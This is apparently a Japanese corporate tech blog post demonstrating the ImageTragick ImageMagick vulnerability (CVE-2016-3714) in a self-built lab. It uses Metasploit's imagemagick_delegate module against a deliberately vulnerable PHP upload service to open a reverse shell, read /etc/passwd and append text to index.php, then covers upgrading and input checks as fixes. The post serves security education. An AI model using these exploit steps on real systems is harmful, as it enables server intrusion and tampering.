GMOインサイトのカネテックです。
皆さんImageMagick使ってますか?画像の加工、生成に大変便利ですよね。
僕はしょっちゅう使ってます。
ところで、こういう外部プログラムをWebスクリプト言語などから呼び出すことも多いと思いますが、外部プログラムにもセキュリティホールが存在し攻撃されうるのです。怖いですね。
今回はImageMagickにあったImageTragickという脆弱性について、実際に攻撃して確認してみます。
アジェンダ
- 攻撃側構築
- やられ側構築
- 攻撃してみる
- 対策
- 最後に
攻撃側構築
Metasploitというフレームワークを使って攻撃を行うのですが、Mac上にイチから構築するのは大変なので、すでに構築済みになっているKali linuxというディストリビューションを仮想環境でCDブートさせて使います。
1 |
wget http://cdimage.kali.org/kali-2017.1/kali-linux-2017.1-amd64.iso |
(可能であればTorrentでのダウンロードをお勧めします)
VirtualBoxでISOから仮想PCを起動します。
起動する前に、ネットワーク設定をNATからブリッジアダプターに変更しておきましょう。
やられサーバから攻撃サーバに向けてTCP接続が発生するため、NATだとうまくいきません。
起動します。今回はGrubメニューからLiveを選択してLiveCD的に使います。
やられ側構築
架空のサービスとして、PNG画像をアップすると100×100にリサイズして返してくれるものを作り、これが攻撃されるシナリオで実験します。
6.9.3-10より後のImageMagickは対策コードが入っているため、それ以前のバージョンを用意する必要があります。
今回はバージョン6.9.2を使ってみます。
1 2 3 4 5 |
$ wget ftp://ftp.u-aizu.ac.jp/pub/graphics/image/ImageMagick/imagemagick.org/releases/ImageMagick-6.9.2-10.tar.xz tar xvf ImageMagick-6.9.2-10.tar.xz $ cd ImageMagick-6.9.2-10 $ ./configure --prefix=$PWD/../ImageMagick $ make && make install |
次に、これを使う画像縮小サービスをPHPで書きます。
FORMで画像を送って、PHP側でsystem()関数を使ってImageMagickに画像処理させる簡単なものです。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<?php if(isset($_FILES['userfile'])) { $uploadfile = 'images/up.png'; $convfile = 'images/up2.png'; move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile); $args = "-resize 100x100 $uploadfile $convfile"; system("./ImageMagick/bin/convert $args"); echo "<img src='$convfile' /><hr />"; } ?> <html> <head> </head> <body> <form enctype="multipart/form-data" method=post action=./ > PNG: <input name=userfile type=file /> <input type=submit /> </form> </body> </html> |
攻撃してみる
以下のアイコンをクリックし、Metasploitのコンソールを起動します。
攻撃方法として、exploit/unix/fileformat/imagemagick_delegateを指定します。
(タブ補完が効きますので、適宜タブキーを叩くと便利です)
1 2 |
msf > use exploit/unix/fileformat/imagemagick_delegate msf exploit(imagemagick_delegate) > |
この攻撃で使えるコマンドについては、以下のサイトで確認するとよいでしょう。
https://www.rapid7.com/db/modules/exploit/unix/fileformat/imagemagick_delegate
攻撃に使うフォーマットとしてSVG、MVG、PSが選べるのですが、手元でやってみた範囲ではSVGだとウマくいかなかったので、MVGで攻撃します。
デフォルトではSVGが選択されているため、show targetsコマンドでターゲットフォーマットを確認し、set targetコマンドでMVGである1番を選択します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
msf exploit(imagemagick_delegate) > show targets Exploit targets: Id Name -- ---- 0 SVG file 1 MVG file 2 PS file msf exploit(imagemagick_delegate) > set target 1 target => 1 msf exploit(imagemagick_delegate) > |
次に、exploitコマンドで攻撃用のmvgファイル(拡張子はpng)を生成しサーバモードで待ち受けます。
1 2 3 4 |
msf exploit(imagemagick_delegate) > exploit [*] Started reverse TCP handler on 192.168.109.56:4444 [+] msf.png stored at /root/.msf4/local/msf.png |
/root/.msf4/local/msf.png にファイルが生成されているので、これをやられサーバにアップします。
すると、ブラウザ側はWaiting for [host name]…という表示で停止します。
一方、Metasploitのコンソールには以下のような表示が出るかと思います。
1 |
[*] Command shell session 1 opened (192.168.109.56:4444 -> 192.168.109.35:36963) at 2017-06-27 06:52:51 +0000 |
この瞬間、侵入に成功しています。lsやpwdなどを実行し、ヤラレ側であることを確認しましょう。
cat index.phpと打てばPHPソースも見えてしまいますし、cat /etc/passwdとすれば、実在するユーザ名のリストが得られます。
試しに、index.phpの改ざんをやってみます。echo ‘hello world’ >> index.phpとすると、以下のようにWebページの内容にhello worldという文字が追加されていることがわかります。
(index.phpのパーミッションが666のため成功しました。所有者をapache以外に設定し、664などwriteを適切に落としていればこの改ざんは失敗します)
対策
本件はCVE-2016-3714として広く周知されており、現時点での対策はImageMagickのバージョンを最新のものにするだけで大丈夫です。以下のバージョンに本問題が含まれますので、お手元のImageMagickのバージョンが以下よりも大きいことを確認してください。
- ImageMagick 6.9.3-10 未満
- ImageMagick 7.0.1-1 未満の 7.x
最後に
受け取った文字列についてはサニタイズが必要とわかっていても、データについては意識から漏れがちですよね。
つねに変なデータを食わされるつもりで、「本当にこのデータはノーチェックで外部コマンドに食わせて大丈夫だっけ?」と自問自答する癖をつけたいものです(実際、この問題はPNG先頭のマジックナンバーをチェックしていれば防げていた問題です)。